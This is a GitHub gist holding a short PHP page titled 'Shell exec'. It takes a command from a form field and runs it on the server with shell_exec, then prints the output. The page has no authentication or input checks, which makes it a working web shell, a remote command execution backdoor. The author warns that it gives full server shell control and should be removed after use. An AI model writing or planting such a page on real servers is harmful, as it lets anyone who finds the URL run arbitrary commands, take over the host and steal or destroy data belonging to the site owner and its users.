Skip to content

Instantly share code, notes, and snippets.

@hemant-tivlabs
Last active March 30, 2020 07:39
Show Gist options
  • Save hemant-tivlabs/b1b475ae98276b46410cd59e4d7de646 to your computer and use it in GitHub Desktop.
Save hemant-tivlabs/b1b475ae98276b46410cd59e4d7de646 to your computer and use it in GitHub Desktop.
Execute a shell command via the PHP `shell_exec` function. Please use the file wisely and remove it from live server once the job is done, as this gives complete server shell control and makes your system vulnerable.
<!DOCTYPE html>
<html lang="en">
<head>
<title>Shell exec</title>
<link href="https://fonts.googleapis.com/css?family=Fira+Code|Source+Sans+Pro:200,400&display=swap" rel="stylesheet" />
<style>
html, body { margin: 0; padding: 0 }
body { font-family: 'Source Sans Pro', sans-serif; font-size: 13px }
body * { box-sizing: border-box; position: relative }
h1 { color: #D66; font-size: 48px; font-weight: 200; line-height: 1em; margin: 0 0 0.5em }
form { border: 1px solid #DDD; display: flex; flex-direction: column; margin: 50px auto; max-width: 100%; padding: 20px; width: 800px }
form label { display: block; font-size: 16px; line-height: 1em; margin: 0 0 4px }
form input { font-family: 'Fira Code', monospace; height: 40px; line-height: 40px; padding: 0 10px; width: 100% }
p, pre { margin: 16px 0 }
pre { background-color: #f5f5f5; font-family: 'Fira Code', monospace; max-height: calc(100vh - 330px); overflow: auto }
</style>
</head>
<body>
<form method="POST" action="">
<h1>Execute command</h1>
<p>
<!-- label for="cmd">Type a command</label -->
<input name="cmd" id="cmd" placeholder="Type a command and press enter/command key" />
</p>
<pre><?php
if(isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$output = shell_exec(trim($_POST['cmd']));
echo $output;
}
?></pre>
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment